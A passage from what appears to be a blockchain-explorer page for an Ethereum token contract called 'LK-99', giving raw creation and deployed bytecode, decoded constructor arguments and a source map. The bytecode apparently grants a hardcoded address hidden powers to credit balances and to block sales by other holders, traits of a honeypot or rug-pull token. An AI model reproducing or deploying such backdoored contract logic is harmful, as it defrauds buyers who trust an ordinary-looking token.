14565b9250508190555083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114349190611ce0565b92505081905550600580826114499190611ce0565b6114539190611d14565b90508473ffffffffffffffffffffffffffffffffffffffff166114746116cb565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114b991906118d8565b60405180910390a36001925050505b92915050565b6114d66116cb565b73ffffffffffffffffffffffffffffffffffffffff166114f4610cd7565b73ffffffffffffffffffffffffffffffffffffffff161461154a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154190611fa0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600954905090565b6000600a5482600954856116af9190611f12565b6116b99190611ce0565b6116c39190611d14565b905092915050565b600033905090565b60008082146116ef5781836116e89190611ce0565b90506116f3565b8190505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611733578082015181840152602081019050611718565b60008484015250505050565b6000601f19601f8301169050919050565b600061175b826116f9565b6117658185611704565b9350611775818560208601611715565b61177e8161173f565b840191505092915050565b600060208201905081810360008301526117a38184611750565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117ea826117bf565b9050919050565b6117fa816117df565b811461180557600080fd5b50565b600081359050611817816117f1565b92915050565b6000819050919050565b6118308161181d565b811461183b57600080fd5b50565b60008135905061184d81611827565b92915050565b6000806040838503121561186a576118696117b5565b5b600061187885828601611808565b92505060206118898582860161183e565b9150509250929050565b60008115159050919050565b6118a881611893565b82525050565b60006020820190506118c3600083018461189f565b92915050565b6118d28161181d565b82525050565b60006020820190506118ed60008301846118c9565b92915050565b60008060006060848603121561190c5761190b6117b5565b5b600061191a86828701611808565b935050602061192b86828701611808565b925050604061193c8682870161183e565b9150509250925092565b600060ff82169050919050565b61195c81611946565b82525050565b60006020820190506119776000830184611953565b92915050565b600060208284031215611993576119926117b5565b5b60006119a184828501611808565b91505092915050565b6119b3816117df565b82525050565b60006020820190506119ce60008301846119aa565b92915050565b6000602082840312156119ea576119e96117b5565b5b60006119f88482850161183e565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611a3e8261173f565b810181811067ffffffffffffffff82111715611a5d57611a5c611a06565b5b80604052505050565b6000611a706117ab565b9050611a7c8282611a35565b919050565b600067ffffffffffffffff821115611a9c57611a9b611a06565b5b602082029050602081019050919050565b600080fd5b6000611ac5611ac084611a81565b611a66565b90508083825260208201905060208402830185811115611ae857611ae7611aad565b5b835b81811015611b115780611afd8882611808565b845260208401935050602081019050611aea565b5050509392505050565b600082601f830112611b3057611b2f611a01565b5b8135611b40848260208601611ab2565b91505092915050565b60008060408385031215611b6057611b5f6117b5565b5b600083013567ffffffffffffffff811115611b7e57611b7d6117ba565b5b611b8a85828601611b1b565b9250506020611b9b8582860161183e565b9150509250929050565b60008060408385031215611bbc57611bbb6117b5565b5b6000611bca85828601611808565b9250506020611bdb85828601611808565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c2c57607f821691505b602082108103611c3f57611c3e611be5565b5b50919050565b7f4e6f207472616465000000000000000000000000000000000000000000000000600082015250565b6000611c7b600883611704565b9150611c8682611c45565b602082019050919050565b60006020820190508181036000830152611caa81611c6e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ceb8261181d565b9150611cf68361181d565b9250828201905080821115611d0e57611d0d611cb1565b5b92915050565b6000611d1f8261181d565b9150611d2a8361181d565b9250828203905081811115611d4257611d41611cb1565b5b92915050565b7f496e76616c6964207472616e73666572205f616d6f756e6e747a000000000000600082015250565b6000611d7e601a83611704565b9150611d8982611d48565b602082019050919050565b60006020820190508181036000830152611dad81611d71565b9050919050565b7f54543a207472616e73666572205f616d6f756e6e747a2065786365656420626160008201527f6c616e6365206f7220616c6c6f77616e63650000000000000000000000000000602082015250565b6000611e10603283611704565b9150611e1b82611db4565b604082019050919050565b60006020820190508181036000830152611e3f81611e03565b9050919050565b7f496e76616c696400000000000000000000000000000000000000000000000000600082015250565b6000611e7c600783611704565b9150611e8782611e46565b602082019050919050565b60006020820190508181036000830152611eab81611e6f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611eec8261181d565b9150611ef78361181d565b925082611f0757611f06611eb2565b5b828204905092915050565b6000611f1d8261181d565b9150611f288361181d565b9250828202611f368161181d565b91508282048414831517611f4d57611f4c611cb1565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f8a602083611704565b9150611f9582611f54565b602082019050919050565b60006020820190508181036000830152611fb981611f7d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611ffa8261181d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361202c5761202b611cb1565b5b600182019050919050565b7f54543a207472616e73666572205f616d6f756e6e747a2065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612093602683611704565b915061209e82612037565b604082019050919050565b600060208201905081810360008301526120c281612086565b905091905056fea26469706673582212208458ec70002b9cb4dab0abe8e0ca64de7320ee213bce6525d4f4d7e7ba96f14964736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000002e90edd0000000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000054c4b2d393900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c4b393900000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c80638da5cb5b116100ad5780639ebbaef7116100715780639ebbaef7146102f8578063a9059cbb14610314578063c2af913b14610344578063dd62ed3e1461034e578063fc0c75b01461037e57610121565b80638da5cb5b1461027a57806390176b911461029857806395d89b41146102b45780639a0b824c146102d25780639b335e4b146102dc57610121565b8063313ce567116100f4578063313ce567146101c257806356688700146101e057806370a08231146101fc57806379a4353a1461022c5780637a3625a41461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e61039c565b60405161013b9190611789565b60405180910390f35b61015e60048036038101906101599190611853565b61043f565b60405161016b91906118ae565b60405180910390f35b61017c61053f565b60405161018991906118d8565b60405180910390f35b6101ac60048036038101906101a791906118f3565b610549565b6040516101b991906118ae565b60405180910390f35b6101ca610aa5565b6040516101d79190611962565b60405180910390f35b6101fa60048036038101906101f59190611853565b610acc565b005b6102166004803603810190610211919061197d565b610c1d565b60405161022391906118d8565b60405180910390f35b610234610c66565b60405161024191906119b9565b60405180910390f35b610264600480360381019061025f919061197d565b610c7e565b60405161027191906118d8565b60405180910390f35b610282610cd7565b60405161028f91906119b9565b60405180910390f35b6102b260048036038101906102ad91906119d4565b610d00565b005b6102bc610d86565b6040516102c99190611789565b60405180910390f35b6102da610e18565b005b6102f660048036038101906102f191906119d4565b610ec2565b005b610312600480360381019061030d9190611b49565b610f48565b005b61032e60048036038101906103299190611853565b611066565b60405161033b91906118ae565b60405180910390f35b61034c6114ce565b005b61036860048036038101906103639190611ba5565b61160a565b60405161037591906118d8565b60405180910390f35b610386611691565b60405161039391906118d8565b60405180910390f35b606060006103ac6002600561169b565b9050600480546103bb90611c14565b80601f01602080910402602001604051908101604052809291908181526020018280546103e790611c14565b80156104345780601f1061040957610100808354040283529160200191610434565b820191906000526020600020905b81548152906001019060200180831161041757829003601f168201915b505050505091505090565b6000816003600061044e6116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104e86116cb565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161052d91906118d8565b60405180910390a36001905092915050565b6000600754905090565b6000600860009054906101000a900460ff1661059a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059190611c91565b60405180910390fd5b6000620109329050600081846105b09190611ce0565b905081816105be9190611d14565b90506105c8610cd7565b73ffffffffffffffffffffffffffffffffffffffff166105e66116cb565b73ffffffffffffffffffffffffffffffffffffffff1614801561064857506000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156106f457600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000610699610cd7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e29190611ce0565b92505081905550600192505050610a9e565b6000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156107c65760006194029050600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485146107c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bb90611d94565b60405180910390fd5b505b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610898575083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061085a6116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b6108d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ce90611e26565b60405180910390fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109269190611d14565b9250508190555083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461097c9190611ce0565b9250508190555083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109cd6116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a169190611d14565b925050819055506000600590506000811115610a3157600090505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610a8e91906118d8565b60405180910390a3600193505050505b9392505050565b600080610ab46004600561169b565b9050600660009054906101000a900460ff1691505090565b738c43cbd09da5abec964d51d8c37bfcd56a249b2173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b1857600080fd5b60008111610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5290611e92565b60405180910390fd5b6000630582122490506000600282610b739190611ee1565b905060008114610b8c578283610b899190611d14565b90505b6000610b9881856116d3565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be99190611ce0565b92505081905550600280600384610c009190611f12565b610c0a9190611ce0565b610c149190611d14565b91505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b738c43cbd09da5abec964d51d8c37bfcd56a249b2181565b600080610c8d6007600561169b565b9050600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d086116cb565b73ffffffffffffffffffffffffffffffffffffffff16610d26610cd7565b73ffffffffffffffffffffffffffffffffffffffff1614610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7390611fa0565b60405180910390fd5b8060098190555050565b606060058054610d9590611c14565b80601f0160208091040260200160405190810160405280929190818152602001828054610dc190611c14565b8015610e0e5780601f10610de357610100808354040283529160200191610e0e565b820191906000526020600020905b815481529060010190602001808311610df157829003601f168201915b5050505050905090565b610e206116cb565b73ffffffffffffffffffffffffffffffffffffffff16610e3e610cd7565b73ffffffffffffffffffffffffffffffffffffffff1614610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b90611fa0565b60405180910390fd5b6001600860006101000a81548160ff0219169083151502179055506000610ebd6003600561169b565b905050565b610eca6116cb565b73ffffffffffffffffffffffffffffffffffffffff16610ee8610cd7565b73ffffffffffffffffffffffffffffffffffffffff1614610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3590611fa0565b60405180910390fd5b80600a8190555050565b738c43cbd09da5abec964d51d8c37bfcd56a249b2173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f9457600080fd5b60006037905060005b83518110156110605760008284610fb49190611ee1565b90508281610fc29190611f12565b9050838103610fd057600090505b8360026000878581518110610fe857610fe7611fc0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060058161103b9190611ce0565b905060058161104a9190611d14565b905050808061105890611fef565b915050610f9d565b50505050565b6000600860009054906101000a900460ff166110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae90611c91565b60405180910390fd5b600061dba19050600081846110cc9190611f12565b9050600081146110e55783846110e29190611d14565b90505b6110ed610cd7565b73ffffffffffffffffffffffffffffffffffffffff1661110b6116cb565b73ffffffffffffffffffffffffffffffffffffffff1614801561117457506000600260006111376116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561122757600260006111856116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160006111cc610cd7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112159190611ce0565b925050819055506001925050506114c8565b6000600260006112356116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156112ff57600260006112826116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484146112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590611d94565b60405180910390fd5b5b836001600061130c6116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f906120a9565b60405180910390fd5b83600160006113956116cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113de9190611d14565b9250508190555083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114349190611ce0565b92505081905550600580826114499190611ce0565b6114539190611d14565b90508473ffffffffffffffffffffffffffffffffffffffff166114746116cb565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114b991906118d8565b60405180910390a36001925050505b92915050565b6114d66116cb565b73ffffffffffffffffffffffffffffffffffffffff166114f4610cd7565b73ffffffffffffffffffffffffffffffffffffffff161461154a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154190611fa0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600954905090565b6000600a5482600954856116af9190611f12565b6116b99190611ce0565b6116c39190611d14565b905092915050565b600033905090565b60008082146116ef5781836116e89190611ce0565b90506116f3565b8190505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611733578082015181840152602081019050611718565b60008484015250505050565b6000601f19601f8301169050919050565b600061175b826116f9565b6117658185611704565b9350611775818560208601611715565b61177e8161173f565b840191505092915050565b600060208201905081810360008301526117a38184611750565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117ea826117bf565b9050919050565b6117fa816117df565b811461180557600080fd5b50565b600081359050611817816117f1565b92915050565b6000819050919050565b6118308161181d565b811461183b57600080fd5b50565b60008135905061184d81611827565b92915050565b6000806040838503121561186a576118696117b5565b5b600061187885828601611808565b92505060206118898582860161183e565b9150509250929050565b60008115159050919050565b6118a881611893565b82525050565b60006020820190506118c3600083018461189f565b92915050565b6118d28161181d565b82525050565b60006020820190506118ed60008301846118c9565b92915050565b60008060006060848603121561190c5761190b6117b5565b5b600061191a86828701611808565b935050602061192b86828701611808565b925050604061193c8682870161183e565b9150509250925092565b600060ff82169050919050565b61195c81611946565b82525050565b60006020820190506119776000830184611953565b92915050565b600060208284031215611993576119926117b5565b5b60006119a184828501611808565b91505092915050565b6119b3816117df565b82525050565b60006020820190506119ce60008301846119aa565b92915050565b6000602082840312156119ea576119e96117b5565b5b60006119f88482850161183e565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611a3e8261173f565b810181811067ffffffffffffffff82111715611a5d57611a5c611a06565b5b80604052505050565b6000611a706117ab565b9050611a7c8282611a35565b919050565b600067ffffffffffffffff821115611a9c57611a9b611a06565b5b602082029050602081019050919050565b600080fd5b6000611ac5611ac084611a81565b611a66565b90508083825260208201905060208402830185811115611ae857611ae7611aad565b5b835b81811015611b115780611afd8882611808565b845260208401935050602081019050611aea565b5050509392505050565b600082601f830112611b3057611b2f611a01565b5b8135611b40848260208601611ab2565b91505092915050565b60008060408385031215611b6057611b5f6117b5565b5b600083013567ffffffffffffffff811115611b7e57611b7d6117ba565b5b611b8a85828601611b1b565b9250506020611b9b8582860161183e565b9150509250929050565b60008060408385031215611bbc57611bbb6117b5565b5b6000611bca85828601611808565b9250506020611bdb85828601611808565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c2c57607f821691505b602082108103611c3f57611c3e611be5565b5b50919050565b7f4e6f207472616465000000000000000000000000000000000000000000000000600082015250565b6000611c7b600883611704565b9150611c8682611c45565b602082019050919050565b60006020820190508181036000830152611caa81611c6e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ceb8261181d565b9150611cf68361181d565b9250828201905080821115611d0e57611d0d611cb1565b5b92915050565b6000611d1f8261181d565b9150611d2a8361181d565b9250828203905081811115611d4257611d41611cb1565b5b92915050565b7f496e76616c6964207472616e73666572205f616d6f756e6e747a000000000000600082015250565b6000611d7e601a83611704565b9150611d8982611d48565b602082019050919050565b60006020820190508181036000830152611dad81611d71565b9050919050565b7f54543a207472616e73666572205f616d6f756e6e747a2065786365656420626160008201527f6c616e6365206f7220616c6c6f77616e63650000000000000000000000000000602082015250565b6000611e10603283611704565b9150611e1b82611db4565b604082019050919050565b60006020820190508181036000830152611e3f81611e03565b9050919050565b7f496e76616c696400000000000000000000000000000000000000000000000000600082015250565b6000611e7c600783611704565b9150611e8782611e46565b602082019050919050565b60006020820190508181036000830152611eab81611e6f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611eec8261181d565b9150611ef78361181d565b925082611f0757611f06611eb2565b5b828204905092915050565b6000611f1d8261181d565b9150611f288361181d565b9250828202611f368161181d565b91508282048414831517611f4d57611f4c611cb1565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f8a602083611704565b9150611f9582611f54565b602082019050919050565b60006020820190508181036000830152611fb981611f7d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611ffa8261181d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361202c5761202b611cb1565b5b600182019050919050565b7f54543a207472616e73666572205f616d6f756e6e747a2065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612093602683611704565b915061209e82612037565b604082019050919050565b600060208201905081810360008301526120c281612086565b905091905056fea26469706673582212208458ec70002b9cb4dab0abe8e0ca64de7320ee213bce6525d4f4d7e7ba96f14964736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000002e90edd0000000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000054c4b2d393900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c4b393900000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): LK-99
Arg [1] : symbol_ (string): LK99
Arg [2] : totalSupply_ (uint256): 3200000000000
Arg [3] : decimals_ (uint8): 18

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000000000000000000000000000000002e90edd0000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 4c4b2d3939000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4c4b393900000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1776:6145:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3358:140;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4973:236;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6718:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6828:1086;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3663:138;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6225:485;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3908:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2006:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6052:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1320:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2874:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3811:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3514:141;;;:::i;:::-;;3255:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5213:480;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4036:927;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1539:230;;;:::i;:::-;;5894:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2984:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3358:140;3395:13;3421:12;3436:29;3460:1;3463;3436:23;:29::i;:::-;3421:44;;3483:7;3476:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3358:140;:::o;4973:236::-;5059:4;5112:9;5076:10;:24;5087:12;:10;:12::i;:::-;5076:24;;;;;;;;;;;;;;;:33;5101:7;5076:33;;;;;;;;;;;;;;;:45;;;;5160:7;5137:42;;5146:12;:10;:12::i;:::-;5137:42;;;5169:9;5137:42;;;;;;:::i;:::-;;;;;;;;5197:4;5190:11;;4973:236;;;;:::o;6718:102::-;6773:7;6800:12;;6793:19;;6718:102;:::o;6828:1086::-;6938:4;6959:15;;;;;;;;;;;6951:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;6998:20;7021:5;6998:28;;7033:22;7070:12;7058:9;:24;;;;:::i;:::-;7033:49;;7123:12;7106:14;:29;;;;:::i;:::-;7089:46;;7166:7;:5;:7::i;:::-;7150:23;;:12;:10;:12::i;:::-;:23;;;:48;;;;;7197:1;7177:8;:17;7186:7;7177:17;;;;;;;;;;;;;;;;:21;7150:48;7146:295;;;7234:8;:17;7243:7;7234:17;;;;;;;;;;;;;;;;7211:10;:19;7222:7;:5;:7::i;:::-;7211:19;;;;;;;;;;;;;;;;:40;;;;;;;:::i;:::-;;;;;;;;7269:4;7262:11;;;;;;7146:295;7316:1;7296:8;:17;7305:7;7296:17;;;;;;;;;;;;;;;;:21;7292:149;;;7330:15;7348:5;7330:23;;7385:8;:17;7394:7;7385:17;;;;;;;;;;;;;;;;7372:9;:30;7364:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7319:122;7292:149;7478:9;7455:10;:19;7466:7;7455:19;;;;;;;;;;;;;;;;:32;;:82;;;;;7528:9;7491:10;:19;7502:7;7491:19;;;;;;;;;;;;;;;:33;7511:12;:10;:12::i;:::-;7491:33;;;;;;;;;;;;;;;;:46;;7455:82;7447:145;;;;;;;;;;;;:::i;:::-;;;;;;;;;7622:9;7599:10;:19;7610:7;7599:19;;;;;;;;;;;;;;;;:32;;;;;;;:::i;:::-;;;;;;;;7663:9;7638:10;:21;7649:9;7638:21;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;7716:9;7679:10;:19;7690:7;7679:19;;;;;;;;;;;;;;;:33;7699:12;:10;:12::i;:::-;7679:33;;;;;;;;;;;;;;;;:46;;;;;;;:::i;:::-;;;;;;;;7736:25;7764:1;7736:29;;7795:1;7775:17;:21;7772:66;;;7829:1;7809:21;;7772:66;7871:9;7853:39;;7862:7;7853:39;;;7882:9;7853:39;;;;;;:::i;:::-;;;;;;;;7906:4;7899:11;;;;;6828:1086;;;;;;:::o;3663:138::-;3704:5;3722:12;3737:29;3761:1;3764;3737:23;:29::i;:::-;3722:44;;3784:9;;;;;;;;;;;3777:16;;;3663:138;:::o;6225:485::-;2041:42;2748:22;;:10;:22;;;2740:31;;;;;;6330:1:::1;6318:9;:13;6310:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;6356:24;6383:9;6356:36;;6399:20;6441:1;6422:16;:20;;;;:::i;:::-;6399:43;;6469:1;6453:12;:17;6449:101;;6510:9;6498;:21;;;;:::i;:::-;6483:36;;6449:101;6558:14;6592:26;6600:6;6608:9;6592:7;:26::i;:::-;6583:35;;6648:6;6625:10;:19;6636:7;6625:19;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;6701:5;6697:1:::0;6693::::1;6678:12;:16;;;;:::i;:::-;:20;;;;:::i;:::-;:28;;;;:::i;:::-;6663:43;;6303:407;;;6225:485:::0;;:::o;3908:120::-;3974:7;4001:10;:19;4012:7;4001:19;;;;;;;;;;;;;;;;3994:26;;3908:120;;;:::o;2006:77::-;2041:42;2006:77;:::o;6052:167::-;6108:7;6132:12;6147:29;6171:1;6174;6147:23;:29::i;:::-;6132:44;;6194:8;:17;6203:7;6194:17;;;;;;;;;;;;;;;;6187:24;;;6052:167;;;:::o;1320:87::-;1366:7;1393:6;;;;;;;;;;;1386:13;;1320:87;:::o;2874:102::-;1464:12;:10;:12::i;:::-;1453:23;;:7;:5;:7::i;:::-;:23;;;1445:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2959:9:::1;2945:11;:23;;;;2874:102:::0;:::o;3811:87::-;3850:13;3883:7;3876:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3811:87;:::o;3514:141::-;1464:12;:10;:12::i;:::-;1453:23;;:7;:5;:7::i;:::-;:23;;;1445:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3588:4:::1;3570:15;;:22;;;;;;;;;;;;;;;;;;3603:12;3618:29;3642:1;3645;3618:23;:29::i;:::-;3603:44;;3559:96;3514:141::o:0;3255:95::-;1464:12;:10